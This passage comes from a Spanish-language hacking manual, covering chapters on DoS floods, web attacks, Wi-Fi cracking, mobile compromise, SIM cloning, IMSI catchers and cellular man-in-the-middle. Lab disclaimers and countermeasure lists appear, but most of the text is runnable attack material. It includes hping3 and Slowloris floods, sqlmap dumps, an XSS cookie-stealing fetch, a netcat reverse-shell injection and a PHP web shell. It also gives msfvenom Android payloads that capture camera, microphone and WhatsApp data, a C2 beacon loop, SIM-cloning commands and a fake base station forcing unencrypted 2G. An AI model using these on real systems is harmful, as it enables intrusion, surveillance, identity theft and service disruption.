 --rand-source: cambia la IP de origen para simular múltiples atacantes.

* + 1. ICMP Flood

sudo hping3 --flood -1 192.168.56.101

### Ataques de Protocolo

##### SYN Flood

sudo hping3 -S --flood -V -p 80 192.168.56.101

Esto agota la tabla de conexiones del servidor.

##### Ping of Death (simulado)

sudo ping -s 65500 192.168.56.101

En sistemas modernos no es efectivo, pero útil para pruebas.

### Ataques a Nivel de Aplicación

##### HTTP Flood

ab -n 100000 -c 500 <http://192.168.56.101/>

Usando Apache Benchmark para simular miles de peticiones concurrentes.

##### Slowloris

git clone https://github.com/gkbrk/slowloris.git cd slowloris

python3 slowloris.py 192.168.56.101

Mantiene conexiones abiertas para agotar recursos.

### Simulación de DDoS

Podemos lanzar el mismo ataque desde múltiples máquinas virtuales conectadas en la red de laboratorio. Ejemplo con LOIC:

1. Ejecutar LOIC en 3 máquinas diferentes.
2. Apuntar todas a la IP del servidor víctima.
3. Lanzar ataque sincronizado.

### Medición de Impacto

En la víctima:

top

iftop

netstat -antp

Esto permite ver CPU, ancho de banda y número de conexiones activas.

### Defensas contra DoS/DDoS

 **Limitación de tasa (Rate limiting)** en firewall o servidor.

 **Filtros de tráfico** para descartar patrones maliciosos.

 **CDN y balanceadores de carga** para absorber el impacto.

 **Sistemas de detección temprana** (IDS/IPS).

Ejemplo de limitación en iptables:

sudo iptables -A INPUT -p tcp --dport 80 -m limit --limit 25/minute --limit-burst

100 -j ACCEPT

sudo iptables -A INPUT -p tcp --dport 80 -j DROP

### Ejercicio Práctico Completo

1. Levantar servidor Apache en laboratorio.
2. Lanzar UDP flood con hping3.
3. Probar HTTP flood con ab.
4. Ejecutar Slowloris y medir impacto.
5. Configurar reglas de defensa y repetir ataques para evaluar mejoras.

### Cierre

Los ataques DoS/DDoS de alto nivel requieren preparación, herramientas y, en el caso real, grandes recursos distribuidos. Practicarlos en laboratorio es clave para aprender a defenderlos sin poner en riesgo sistemas reales.

💡 **TIP Black-Hat Ético:** la mejor defensa contra un DDoS masivo no está solo en el firewall, sino en la arquitectura distribuida y la detección temprana.

# Capítulo 13 – Web Hacking sin Piedad

*Tomando el control total de aplicaciones y servidores web sin dejar piedra sobre piedra*

### Introducción

El **Web Hacking** es uno de los campos más amplios y rentables para un atacante. Los servidores web son el escaparate de cualquier organización y, al mismo tiempo, un punto de entrada crítico. Aquí aprenderás a:

 Detectar y explotar vulnerabilidades críticas.  Encadenar fallos para control total.

 Usar herramientas automáticas y manuales.  Manipular peticiones y respuestas HTTP.

 Subir shells web y pivotar desde ellas.

⚠ Todo lo que veremos se realizará **exclusivamente** en entornos de laboratorio.

### Principales Vectores de Ataque

**Vulnerabilidad Descripción Impacto**

**SQL Injection (SQLi)** Inyección de código SQL no filtrado. Robo/modificación de base de

datos.

**Cross-Site Scripting (XSS)**

Inyección de código JavaScript. Robo de cookies, keylogging.

**Command Injection** Ejecución de comandos del sistema. Control total del servidor.

**File Upload Vulnerability**

Subida de archivos maliciosos. Shell web y acceso persistente.

**Path Traversal** Acceso a archivos fuera del directorio permitido.

Lectura de configuraciones sensibles.

### Preparando el Laboratorio

 **Víctima**: DVWA (Damn Vulnerable Web App) o Mutillidae en un servidor Ubuntu.

 **Atacante**: Kali Linux con sqlmap, burpsuite, wfuzz, gobuster.

### SQL Injection (SQLi)

##### Ejemplo Manual

Entrada vulnerable:

<http://192.168.56.101/product.php?id=1>

Prueba:

?id=1' OR '1'='1

##### Ejemplo Automático con sqlmap

sqlmap -u ["http://192.168.56.101/product.php?id=1"](http://192.168.56.101/product.php?id=1) --dbs

Obtener datos:

sqlmap -u ["http://192.168.56.101/product.php?id=1"](http://192.168.56.101/product.php?id=1) -D dvwa -T users --dump

### Cross-Site Scripting (XSS)

##### XSS Reflejado

<script>alert('XSS')</script>

XSS Persistente

Inyectar código que se guarda en la base de datos:

<script>fetch(['http://192.168.56.10/steal?cookie='+document.cookie)](http://192.168.56.10/steal?cookie=%27%2Bdocument.cookie))</script>

### Command Injection

Si un formulario ejecuta ping en el backend:

127.0.0.1; ls -la

Ejemplo con DVWA:

; nc -e /bin/bash 192.168.56.10 4444

### File Upload Vulnerability

Subir una shell PHP:

<?php system($\_GET['cmd']); ?>

Acceder:

<http://192.168.56.101/uploads/shell.php?cmd=whoami>

### Path Traversal

Intentar:

../../../../etc/passwd

En Windows:

..\..\..\windows\win.ini

### Enumeración de Directorios y Archivos

Usando gobuster:

gobuster dir -u [http://192.168.56.101](http://192.168.56.101/) -w /usr/share/wordlists/dirb/common.txt

### Escalada desde Web Shell a Control Total

 **Paso 1**: subir shell web.

 **Paso 2**: ejecutar nc inverso para obtener shell interactiva.

 **Paso 3**: escalar privilegios con linpeas o exploits locales.

### Automatización de Ataques

Usando wfuzz para probar parámetros vulnerables:

wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt <http://192.168.56.101/page.php?id=FUZZ>

### Ejercicio Práctico Completo

* + 1. Instalar DVWA en una máquina víctima.
    2. Encontrar y explotar una SQLi.
    3. Insertar un XSS persistente.
    4. Subir shell PHP y ejecutar comandos.
    5. Escalar privilegios y documentar todo.

### Contramedidas

 Filtrar y validar entradas del usuario.  Usar consultas preparadas (SQL).

 Configurar WAF para bloquear patrones maliciosos.

 Deshabilitar ejecución de archivos en directorios de subida.  Aplicar parches de seguridad regularmente.

### Cierre

El Web Hacking extremo implica combinar vulnerabilidades para lograr el control absoluto. No basta con encontrar un fallo: el verdadero poder está en **encadenarlos**.

💡 **TIP Black-Hat Ético:** piensa siempre en cadenas de ataque. Una sola vulnerabilidad puede no ser letal… pero varias combinadas pueden derribar un imperio digital.

# Capítulo 14 – Wireless Hacking Avanzado

*Rompiendo la seguridad de redes inalámbricas modernas con precisión quirúrgica*

### Introducción

Las redes inalámbricas son la puerta de entrada a sistemas corporativos y domésticos. Aunque los estándares como WPA2 y WPA3 han elevado la seguridad, **siguen existiendo vectores de ataque efectivos** que, si se combinan con técnicas avanzadas, pueden comprometer incluso redes modernas.

En este capítulo aprenderás a:

 Capturar y descifrar handshakes WPA/WPA2.  Realizar ataques de fuerza bruta y diccionario.  Implementar Evil Twin y Rogue AP.

Romper WPA3 con ataques de downgrade. Usar hardware específico para auditorías.

⚠ Todo lo que verás debe practicarse **únicamente en redes propias o de laboratorio con permiso expreso**.

### Herramientas y Hardware

**Herramienta Uso**

aircrack-ng Captura y crackeo de contraseñas.

airodump-ng Escaneo y captura de handshakes.

aireplay-ng Inyección de paquetes y desautenticación.

hostapd Creación de puntos de acceso falsos.

wifiphisher Phishing vía Evil Twin.

Tarjeta Wi-Fi compatible con modo monitor Requisito para captura e inyección.

### Configuración del Laboratorio

 Router Wi-Fi configurado con WPA2-PSK.  Máquina atacante: Kali Linux.

 Tarjeta de red inalámbrica USB en modo monitor (wlan1).  Cliente víctima conectado a la red.

### Captura de Handshake WPA/WPA2

* + 1. Poner tarjeta en modo monitor:

sudo airmon-ng start wlan1

* + 1. Escanear redes:

sudo airodump-ng wlan1mon

* + 1. Capturar tráfico de la red objetivo:

sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w captura wlan1mon

* + 1. Forzar reconexión del cliente para obtener handshake:

sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 -c CC:DD:EE:FF:GG:HH wlan1mon

### Crackeo de Contraseña

Con diccionario:

aircrack-ng captura.cap -w /usr/share/wordlists/rockyou.txt

Con fuerza bruta (poco eficiente):

hashcat -m 2500 captura.hccapx -a 3 ?d?d?d?d?d?d?d?d

### Ataques Evil Twin

Un Evil Twin es un AP falso que imita la red legítima. Usando hostapd:

sudo hostapd hostapd.conf

Ejemplo hostapd.conf:

interface=wlan1 driver=nl80211 ssid=MiRedWiFi hw\_mode=g

channel=6

Con wifiphisher:

sudo wifiphisher

Permite clonar el AP y redirigir a la víctima a una página falsa de login.

### WPA3 Cracking con Downgrade

Aunque WPA3 es más seguro, puede ser vulnerado si el dispositivo víctima soporta **modo mixto WPA2/WPA3**:

* + 1. Configurar un AP falso WPA2.
    2. Forzar desautenticación de la víctima WPA3.
    3. La víctima se conecta al AP WPA2 falso, donde se captura el handshake.

### Ataques WPS

Si el router tiene WPS activado:

sudo reaver -i wlan1mon -b 00:11:22:33:44:55 -vv

Esto intenta PINs por fuerza bruta.

### Rogue AP + Captura de Credenciales

Usando bettercap:

sudo bettercap -iface wlan1 set wifi.ap.ssid MiRedWiFi wifi.recon on

wifi.ap on

Luego interceptar tráfico HTTP y páginas de login.

### Ejercicio Práctico Completo

* + 1. Configurar red WPA2 en router de laboratorio.
    2. Capturar handshake con airodump-ng.
    3. Forzar reconexión con aireplay-ng.
    4. Crackear contraseña con aircrack-ng.
    5. Levantar un Evil Twin con wifiphisher.
    6. Capturar credenciales de login falso.

### Medidas Defensivas

 Usar WPA3-Only y desactivar WPA2.  Desactivar WPS.

 Filtrar por MAC (no infalible, pero añade fricción).  Monitorear redes para detectar AP falsos.

 Cambiar contraseñas periódicamente.

### Cierre

El hacking inalámbrico avanzado es un campo donde la creatividad técnica se combina con ingeniería social. El atacante que domina estas técnicas puede entrar sin tocar un solo cable… y el defensor que las conoce puede anticiparse.

💡 **TIP Black-Hat Ético:** nunca subestimes el alcance de tu antena Wi-Fi. A veces el enemigo ni siquiera está cerca… pero sí conectado.

# Capítulo 15 – Hacking con Dispositivos Móviles

*Transformando smartphones en armas digitales y objetivos de alto valor*

### Introducción

Los **dispositivos móviles** son hoy más que teléfonos: son cámaras, billeteras, llaves digitales y centros de comunicación personal. Esto los convierte en **vectores de ataque prioritarios** y, al mismo tiempo, en poderosas plataformas para ofensiva y defensa.

En este capítulo aprenderás a:

 Usar un smartphone como herramienta de hacking.  Comprometer dispositivos móviles en laboratorio.

 Explorar vulnerabilidades en Android e iOS.

 Usar ataques de ingeniería social y redes para comprometer móviles.  Implementar persistencia y exfiltración de datos.

⚠ Todo debe ejecutarse **solo en entornos controlados** y con consentimiento expreso.

### Escenarios de Ataque y Uso Ofensivo

**Escenario Descripción**

**Plataforma de ataque** Usar el teléfono como punto de lanzamiento de exploits.

**Objetivo vulnerable** Comprometer un móvil para extraer datos.

**Intermedio de red** Usar tethering o hotspot para interceptar tráfico.

### Hacking con Android

##### Instalando Kali NetHunter

Kali NetHunter es una distribución de pentesting para Android.

# En Android con root pkg install wget

wget https://images.kali.org/nethunter/Nethunter-2023.3-arm64.zip # Flashear con TWRP

Permite ejecutar nmap, metasploit, aircrack-ng desde el teléfono.

##### Uso como Rogue AP

Con NetHunter:

airmon-ng start wlan0 hostapd hostapd.conf

### Hacking con iOS

##### Jailbreak para pruebas

El jailbreak en laboratorio permite instalar herramientas no autorizadas por Apple.

 Checkra1n (para dispositivos compatibles).  Instalar terminal y ssh.

##### Herramientas útiles

 **iRET**: kit de pruebas de seguridad para iOS.

 **Frida**: manipulación de apps en tiempo real.

### Comprometiendo Dispositivos Android

##### Payload con msfvenom

msfvenom -p android/meterpreter/reverse\_tcp LHOST=192.168.56.10 LPORT=4444 -o app- maliciosa.apk

* + 1. Configurar listener en Metasploit

use exploit/multi/handler

set PAYLOAD android/meterpreter/reverse\_tcp set LHOST 192.168.56.10

set LPORT 4444

exploit

Al instalar la APK en la víctima, se obtiene una sesión meterpreter.

### Comprometiendo Dispositivos iOS

En laboratorio con jailbreak:

1. Instalar OpenSSH.
2. Acceder con:

ssh root@IP\_DEL\_IPHONE

1. Buscar datos en /var/mobile/Containers/Data/Application/.

### Ataques vía Ingeniería Social

 **Apps falsas**: imitar apps populares.

 **SMS phishing (Smishing)**: enlace a APK maliciosa.

 **Clonación de pantalla de login**: capturar credenciales.

### Ataques vía Red

##### Evil Twin

Levantar AP falso y capturar tráfico desde móviles conectados.

##### Intercepción de tráfico HTTP

Usar mitmproxy o bettercap para capturar datos no cifrados.

### Persistencia en Móviles

 Android: servicios en segundo plano que se reinician al encender.  iOS: tweaks de Cydia que cargan en cada inicio.

Ejemplo en Android:

public int onStartCommand(Intent intent, int flags, int startId) {

// Reconexión a servidor de control

}

### Ejercicio Práctico Completo

1. Instalar Kali NetHunter en Android rooteado.
2. Generar payload APK con msfvenom.
3. Configurar listener y ejecutar ataque.
4. Obtener acceso remoto y listar archivos.
5. Extraer contactos y mensajes (simulados).
6. Documentar flujo y mitigaciones.

### Medidas Defensivas

 Instalar apps solo desde tiendas oficiales.

 Desactivar instalación de orígenes desconocidos.  Mantener sistema actualizado.

 Usar VPN para proteger tráfico en redes públicas.  Activar cifrado completo del dispositivo.

### Cierre

Los móviles son la mezcla perfecta de objetivo y herramienta. Dominar su uso ofensivo y defensivo te permite entender la superficie de ataque más utilizada en el mundo moderno.

💡 **TIP Black-Hat Ético:** trata cada smartphone como si fuera una laptop con acceso total a la vida del usuario… porque lo es.

# Capítulo 16 – Clonación de SIM y Ataques IMSI Catcher

*Interceptando y manipulando la identidad móvil como un operador encubierto*

### Introducción

Las tarjetas SIM son el corazón de la identidad móvil: contienen el **IMSI** (International Mobile Subscriber Identity) y claves de autenticación que permiten a un dispositivo conectarse a la red del operador. Clonar una SIM o interceptar su IMSI permite:

 Suplantar la identidad de un usuario.  Interceptar llamadas y SMS.

 Desviar autenticaciones de dos factores (2FA).  Geolocalizar a un objetivo.

En este capítulo aprenderás a:

 Extraer datos de una SIM en laboratorio.  Clonarla en una tarjeta en blanco.

 Montar un **IMSI Catcher** para capturar identidades móviles.

 Usar equipos SDR (Software Defined Radio) para simulaciones seguras.

⚠ Esto es ilegal fuera de laboratorio. Todo debe hacerse con SIMs y redes privadas de prueba.

### Anatomía de una Tarjeta SIM

**Elemento Descripción**

**IMSI** Identificador único del suscriptor.

**Ki** Clave secreta para autenticar en la red.

**ICCID** Número único de la tarjeta física.

**MSISDN** Número de teléfono asociado.

**SMS y contactos** Datos almacenados localmente.

### Hardware y Software Necesario

 **Lector/grabador de SIM** USB.

 SIM en blanco (programmable SIM).  SIM de laboratorio (no real).

 Herramientas: pySim, pySIM-prog, Osmocom para SDR.  SDR: RTL-SDR o HackRF One.

### Extracción de Datos de SIM

* + 1. Conectar lector USB.
    2. Usar pySIM-prog:

git clone https://github.com/osmocom/pysim cd pysim

python3 pySim-prog.py -d /dev/ttyUSB0

Esto muestra IMSI, ICCID y opcionalmente Ki (si no está bloqueado por el operador).

### Clonación de SIM en Blanco

* + 1. Obtener SIM en blanco.
    2. Escribir datos:

python3 pySim-prog.py -d /dev/ttyUSB0 --write-imsi 001010123456789 --write-iccid 89010012012341234567 --write-ki 00112233445566778899AABBCCDDEEFF

* + 1. Insertar la SIM clonada en un móvil de laboratorio y verificar conexión.

### Introducción a IMSI Catchers

Un **IMSI Catcher** simula una estación base (BTS) y fuerza a los móviles cercanos a conectarse para capturar sus IMSI. En la vida real, se usan en vigilancia policial, espionaje y ciberdelincuencia.

### Montando un IMSI Catcher de Laboratorio

##### Con SDR y OpenBTS

* + 1. Instalar dependencias:

sudo apt install openbts yate yatebts

* + 1. Configurar rango GSM privado:

MCC=001 MNC=01

* + 1. Iniciar estación base:

sudo yate -s

* + 1. Ver IMSIs conectados:

telnet localhost 5038

### Ataques con IMSI Catcher

 **Captura de IMSI**: identificar dispositivos cercanos.

 **Downgrade de cifrado**: forzar 2G sin cifrado para interceptar tráfico.

 **Suplantación de SMS**: enviar mensajes como si fueran del operador.

Ejemplo de captura con gr-gsm:

grgsm\_livemon

### Ejercicio Práctico Completo

* + 1. Leer datos de SIM de laboratorio con pySim.
    2. Clonar en SIM en blanco.
    3. Configurar OpenBTS como IMSI Catcher privado.
    4. Capturar IMSI de un teléfono de prueba.
    5. Analizar tráfico GSM con Wireshark y gr-gsm.

### Contramedidas

 Usar 4G/5G y deshabilitar 2G en móviles.

 Detectar IMSI Catchers con apps de monitoreo (SnoopSnitch, Cell Spy Catcher).  Usar cifrado de extremo a extremo en comunicaciones (Signal, WhatsApp).

 Supervisar cambios inesperados en el nivel de red.

### Cierre

La clonación de SIM y el uso de IMSI Catchers muestran que la seguridad móvil depende tanto de la infraestructura como del dispositivo. Un atacante que controla la identidad móvil controla gran parte de la vida digital del usuario.

💡 **TIP Black-Hat Ético:** la mejor defensa contra este tipo de ataques es migrar a tecnologías que no permitan el downgrade de seguridad.

# Capítulo 17 – Control Remoto de Dispositivos Móviles (Android e iOS)

*Tomando el mando de un smartphone como si estuvieras en sus propios dedos*

### Introducción

Controlar remotamente un dispositivo móvil implica poder:  Ejecutar comandos.

 Extraer datos.

 Acceder a cámara, micrófono y GPS.  Manipular archivos y aplicaciones.

En manos de un atacante, esto es equivalente a tener el dispositivo en la mano 24/7. En manos de un investigador ético, es una herramienta para pruebas de penetración y análisis forense móvil.

En este capítulo veremos cómo:

 Configurar y desplegar payloads persistentes en Android e iOS.  Usar frameworks como **Metasploit**, **Evil Droid** y **iSpy**.

 Combinar acceso remoto con ingeniería social.

 Mantener control incluso después de reinicios (persistencia).

⚠ Ejercicios solo con dispositivos de laboratorio y permisos explícitos.

### Escenarios de Uso en Laboratorio

**Escenario Objetivo**

**Auditoría de seguridad móvil** Evaluar exposición de un dispositivo.

**Formación en respuesta a incidentes** Practicar detección y bloqueo.

**Análisis forense remoto** Extraer datos sin acceso físico prolongado.

### Control Remoto en Android

##### Generación de Payload con Metasploit

msfvenom -p android/meterpreter/reverse\_tcp LHOST=192.168.56.10 LPORT=4444 -o control.apk

* + 1. Configuración del Listener

msfconsole

use exploit/multi/handler

set PAYLOAD android/meterpreter/reverse\_tcp set LHOST 192.168.56.10

set LPORT 4444

exploit

Cuando la APK se instala y ejecuta en el dispositivo, obtendrás una sesión **meterpreter**.

* + 1. Comandos Útiles de Meterpreter para Android

sysinfo

webcam\_snap record\_mic geolocate

download /sdcard/DCIM/foto.jpg

upload payload.sh /data/local/tmp/

### Control Remoto en iOS

##### Preparación del Dispositivo

 Jailbreak en laboratorio.

 Instalar OpenSSH y configurar acceso.

##### Acceso Remoto vía SSH

ssh root@IP\_DEL\_IPHONE

Contraseña por defecto (si no cambiada en laboratorio): alpine.

##### Uso de Herramientas Específicas

 **iSpy** para control remoto.

 **Frida** para manipulación de apps en tiempo real.

 **libimobiledevice** para gestión de datos sin iTunes.

Ejemplo de extracción de mensajes SMS:

idevicebackup2 backup ./backup

sqlite3 ./backup/Library/SMS/sms.db "SELECT text FROM message;"

### Persistencia en Dispositivos Móviles

##### Android

Modificar el payload para ejecutarse al inicio:

<uses-permission android:name="android.permission.RECEIVE\_BOOT\_COMPLETED" />

En MainActivity.java:

public void onReceive(Context context, Intent intent) {

if (intent.getAction().equals(Intent.ACTION\_BOOT\_COMPLETED)) {

// Reconexión al servidor

}

}

##### iOS

Instalar **tweak** en Cydia que ejecute script al inicio. Usar launchctl para añadir tareas persistentes.

### Exfiltración de Datos

Desde Android

meterpreter > download /sdcard/WhatsApp/Databases/msgstore.db

Desde iOS

scp

root@IP\_DEL\_IPHONE:/private/var/mobile/Containers/Data/Application/com.whatsapp/ms gstore.db .

### Ataques vía Ingeniería Social

 Enviar la APK o IPA maliciosa disfrazada de app legítima.  Usar phishing SMS con enlace a instalación.

 Integrar payload en actualizaciones falsas.

### Ejercicio Práctico Completo

1. Preparar dispositivo Android con payload persistente.
2. Configurar listener y establecer conexión.
3. Obtener geolocalización, fotos y audio.
4. Subir archivo al dispositivo y ejecutarlo.
5. En iOS, extraer mensajes y contactos vía SSH.
6. Documentar la sesión y listar comandos ejecutados.

### Contramedidas

 Revisar permisos de apps instaladas.

 Usar antivirus/módulos de seguridad móvil.

 Bloquear instalación de apps fuera de tienda oficial.  Monitorear conexiones salientes inusuales.

 Mantener sistema operativo actualizado.

### Cierre

El control remoto de dispositivos móviles combina ingeniería social, explotación de vulnerabilidades y persistencia. Dominarlo en laboratorio permite detectar, mitigar y erradicar este tipo de amenazas en entornos reales.

💡 **TIP Black-Hat Ético:** un smartphone controlado es una ventana abierta a toda la vida digital de una persona. Protegerlo debe ser prioridad absoluta.

# Capítulo 18 – Android como Plataforma de Ataque

*Convertir un smartphone en un kit ofensivo portátil y autónomo*

### Introducción

Un smartphone Android, especialmente si está **rooteado**, puede transformarse en una plataforma de ataque completa capaz de ejecutar pruebas de penetración, sniffing, explotación y control remoto sin necesidad de una laptop. Su tamaño, autonomía y conectividad lo convierten en una herramienta ideal para:

 Auditorías discretas.

 Operaciones en campo.

 Pruebas rápidas sin desplegar infraestructura pesada.

En este capítulo aprenderás a:

 Configurar Android para pentesting.

 Instalar y usar **Kali NetHunter** y **Termux**.

 Ejecutar herramientas de hacking directamente en el móvil.  Integrar dispositivos externos (antenas Wi-Fi, SDR).

 Operar ataques desde Android a redes, aplicaciones y dispositivos.

### Preparación del Entorno

**Elemento Recomendación**

**Modelo de teléfono**

Preferentemente compatible con NetHunter (OnePlus, Nexus, Pixel).

**Root** Acceso completo requerido para funciones avanzadas.

**ROM** LineageOS o stock Android actualizada.

**Almacenamiento** Mínimo 32 GB libres para herramientas y capturas.

**Accesorios** OTG cable, adaptadores USB-C, antena Wi-Fi compatible con modo monitor, SDR (HackRF One o RTL-SDR).

### Instalando Kali NetHunter

* + 1. Descargar la imagen adecuada desde <https://www.kali.org/get-kali/#kali-mobile>.
    2. Flashear con TWRP:

adb reboot bootloader

fastboot flash recovery twrp.img

* + 1. Instalar NetHunter ZIP desde TWRP.
    2. Reiniciar y abrir la app NetHunter.

### Uso de Termux para Hacking

##### Instalación:

pkg update && pkg upgrade

pkg install git python nmap hydra metasploit

Termux permite:

 Escaneo de redes.

 Ataques de fuerza bruta.

 Ejecución de scripts Python y Bash.

### Escaneo de Redes desde Android

Ejemplo con nmap:

nmap -A 192.168.1.0/24

Ejemplo con netdiscover:

netdiscover -r 192.168.1.0/24

### Hacking Wi-Fi desde Android

Con NetHunter y adaptador USB Wi-Fi:

airmon-ng start wlan1 airodump-ng wlan1mon

aireplay-ng --deauth 5 -a <BSSID> -c <CLIENTE> wlan1mon aircrack-ng captura.cap -w rockyou.txt

### Ataques Web desde Android

Usar sqlmap en Termux:

sqlmap -u ["http://objetivo.com/product.php?id=1"](http://objetivo.com/product.php?id=1) --dbs

Interceptar tráfico con mitmproxy:

mitmproxy --listen-port 8080

### Integración de SDR para Capturas de Radiofrecuencia

Conectar un **RTL-SDR** vía OTG:

pkg install rtl-sdr

rtl\_fm -f 100M -M fm -s 200k -r 48k - | aplay -r 48k -f S16\_LE

Esto permite monitorear bandas de radio y GSM en laboratorio.

### Uso de Android como Servidor C2 (Comando y Control)

Con **Ngrok**:

pkg install unzip

wget https://bin.equinox.io/c/ngrok/ngrok-stable-linux-arm.zip unzip ngrok-stable-linux-arm.zip

./ngrok tcp 4444

Esto expone un puerto de tu Android a Internet para control remoto.

### Ejercicio Práctico Completo

* + 1. Instalar NetHunter en Android rooteado.
    2. Conectar adaptador Wi-Fi y capturar handshake WPA2.
    3. Crackear la clave en el propio móvil.
    4. Usar sqlmap para detectar SQLi en sitio de laboratorio.
    5. Configurar Ngrok para recibir una shell inversa en Android.

### Ventajas y Limitaciones

**Ventajas**:

 Portátil y discreto.

 Bajo consumo energético.

 Puede funcionar como nodo de ataque autónomo.

**Limitaciones**:

 Potencia de CPU limitada frente a un portátil.  Incompatibilidad con algunos drivers.

 Espacio reducido para grandes diccionarios o capturas.

### Medidas Defensivas

 Monitorear tráfico saliente de dispositivos Android.  Deshabilitar puertos OTG si no son necesarios.

 Evitar root en dispositivos de producción.

 Usar MDM (Mobile Device Management) para control corporativo.

### Cierre

Un Android bien configurado es una herramienta de pentesting portátil que cabe en tu bolsillo. Dominarlo te permite ejecutar operaciones rápidas y discretas sin desplegar grandes equipos.

💡 **TIP Black-Hat Ético:** un atacante con un teléfono rooteado puede llevar en el bolsillo un arsenal completo. Como defensor, debes asumir que cualquiera que se conecte a tu red podría hacerlo.

# Capítulo 19 – Clonación de SIM: Escenarios Avanzados

*Operaciones combinadas y persistencia en identidad móvil para entornos controlados*

### Introducción

En el capítulo 16 vimos la **clonación básica de SIM** y el uso de IMSI Catchers en laboratorio. Ahora llevaremos esas técnicas al siguiente nivel, combinando clonación, control remoto y persistencia para simular operaciones complejas de espionaje móvil.

Estos escenarios avanzados sirven para:

 **Pruebas de resiliencia de redes móviles**.

 **Formación de equipos forenses** en identificación de clonación.

 **Simulación de ataques de alto nivel** para entrenamiento de respuesta.

⚠ Todo lo aquí descrito es ilegal fuera de entornos de prueba controlados y con autorización expresa.

### Escenarios de Laboratorio Avanzados

**Escenario Descripción**

**Clonación + C2** SIM clonada que se conecta a un servidor de comando y control.

**Clonación + IMSI Catcher** Uso combinado para atrapar y replicar nuevas identidades.

**Clonación Rotativa** Alternancia entre múltiples SIM clonadas para evadir detección.

### Hardware y Software

 Lector/escritor de SIM USB.  SIM en blanco programable.  SIM de laboratorio (origen).

 pySim y osmocom para programación.

 SDR (HackRF One o USRP) para IMSI Catcher.

 Dispositivo Android rooteado con NetHunter para control C2.

### Clonación con Persistencia

La clonación tradicional genera una SIM idéntica, pero en cuanto el operador detecta anomalías de ubicación o conexión simultánea, puede bloquearla.

Para laboratorio podemos simular persistencia:

* + 1. Clonar la SIM de laboratorio en un blanco.
    2. Configurar el dispositivo con conexión a C2 para reconexión periódica.
    3. Usar scripts que envíen datos al servidor aunque el dispositivo esté inactivo.

Ejemplo de script en Android (Termux):

while true; do

curl -X POST <http://192.168.56.10/report> --data "IMEI=$(getprop ro.serialno)&IMSI=$(service call iphonesubinfo 7)"

sleep 300

done

### Clonación + IMSI Catcher

Este escenario simula un atacante que:

* + 1. Usa IMSI Catcher para capturar IMSI/Ki de nuevas SIM (en laboratorio).
    2. Programa automáticamente SIMs en blanco.
    3. Conecta esas SIM a dispositivos que reportan ubicación a C2.

Flujo básico:

IMSI Catcher → Extracción IMSI/Ki → pySim para clonar → Inserción en dispositivo → C2

### Clonación Rotativa

Técnica usada para evadir detección por patrones de conexión:  Mantener 3 o más SIM clonadas de la misma identidad.

 Activarlas en distintos momentos para simular movimiento real.  Cambiar el dispositivo físico para cada clon.

En laboratorio:

* + 1. Programar varias SIM en blanco con mismos datos.
    2. Cambiar en un teléfono cada cierto tiempo.
    3. Registrar tráfico en el core de red simulado para estudiar patrones.

### Ejemplo Completo de Laboratorio

##### Paso 1: Capturar IMSI de una SIM de laboratorio

python3 pySim-read.py -d /dev/ttyUSB0

Guardar IMSI y Ki.

##### Paso 2: Programar SIM en blanco

python3 pySim-prog.py -d /dev/ttyUSB0 --write-imsi 001010123456789 --write-iccid 89010012012341234567 --write-ki 00112233445566778899AABBCCDDEEFF

Paso 3: Configurar conexión C2 en el teléfono con la SIM clonada

Usar Ngrok para exponer servicio de control.

##### Paso 4: Registrar actividad

Con servidor Flask en Python:

from flask import Flask, request app = Flask( name )

@app.route('/report', methods=['POST']) def report():

print(request.form) return "OK"

app.run(host="0.0.0.0", port=80)

### Uso de SDR para Análisis de Tráfico

Con gr-gsm:

grgsm\_livemon

Capturar y analizar tráfico de la red GSM privada para verificar conexiones de SIM clonadas.

### Contramedidas Avanzadas

 **Autenticación mutua 4G/5G** que impide clonación tradicional.

 Detección de **patrones de conexión imposibles** (ubicaciones distantes en poco tiempo).  Alertas en caso de **múltiples IMEIs** para un mismo IMSI.

 Supervisión de cambios inusuales en celdas visitadas.

### Ejercicio Práctico Completo

* + 1. Configurar laboratorio GSM privado con OpenBTS.
    2. Capturar IMSI y Ki de SIM de prueba.
    3. Clonar en SIM en blanco.
    4. Configurar C2 para recibir datos periódicos.
    5. Realizar rotación de SIM y registrar comportamiento en la red.
    6. Analizar patrones para entrenar detección.

### Cierre

La clonación de SIM en escenarios avanzados muestra el potencial destructivo de este vector si se combina con otros ataques. Practicarlo en entornos controlados permite desarrollar defensas que vayan más allá del bloqueo básico.

💡 **TIP Black-Hat Ético:** en seguridad móvil, no basta con bloquear una SIM clonada; hay que identificar el vector inicial y cerrar la puerta para siempre.

# Capítulo 20 – Hombre en el Medio en Redes Móviles

*Interceptando y manipulando comunicaciones celulares en entornos controlados*

### Introducción

El **Man-in-the-Middle (MitM)** en redes móviles consiste en posicionarse entre el dispositivo y la estación base para:

 Interceptar tráfico de voz, SMS y datos.  Manipular contenido en tránsito.

 Forzar conexiones a protocolos menos seguros (downgrade).

Este tipo de ataque se ejecuta principalmente con **IMSI Catchers** y **BTS falsas**. En entornos reales, es una técnica usada por agencias de inteligencia, pero en laboratorio es una herramienta clave para:

 Pruebas de resiliencia de la infraestructura móvil.  Entrenamiento de equipos forenses.

 Simulación de ataques de espionaje.

⚠ Todo lo descrito debe ejecutarse **únicamente** en redes privadas y con SIMs de laboratorio.

### Principios del MitM Celular

 **Falsa BTS**: el atacante simula una estación base a la que se conectan los dispositivos cercanos.

 **Downgrade Attack**: forzar a un móvil 4G/5G a usar 2G o 3G, que tienen cifrado débil o inexistente.

 **Intercepción de señal**: capturar tráfico de voz y datos.

 **Inyección de tráfico**: insertar mensajes falsos o modificar los existentes.

### Requisitos del Laboratorio

**Elemento Función**

**SDR (HackRF One / USRP B210)** Transmisión y recepción de señal GSM/UMTS/LTE.

**OpenBTS o srsLTE** Software para montar BTS privada.

**SIMs de laboratorio** Evitar uso de líneas reales.

**Antena GSM** Transmisión/recepción de señal móvil.

**Wireshark + gr-gsm** Análisis de tráfico capturado.

### Montando la BTS Falsa

##### Instalación de OpenBTS

sudo apt update

sudo apt install openbts yate yatebts

Configurar en /etc/OpenBTS/openbts.db:

GSM.Radio.Band: GSM850 GSM.Radio.C0: 128

Control.LUR.OpenRegistration: 1

Iniciar servicio:

sudo OpenBTS

### Captura de IMSI y Autenticación

Con la BTS falsa operativa:

telnet localhost 49300 show subscribers

Esto lista los IMSI de dispositivos conectados.

### Downgrade de Cifrado

En 2G, el cifrado A5/0 significa **sin cifrado**. Configurar OpenBTS para forzar A5/0:

Control.Cipher: 0

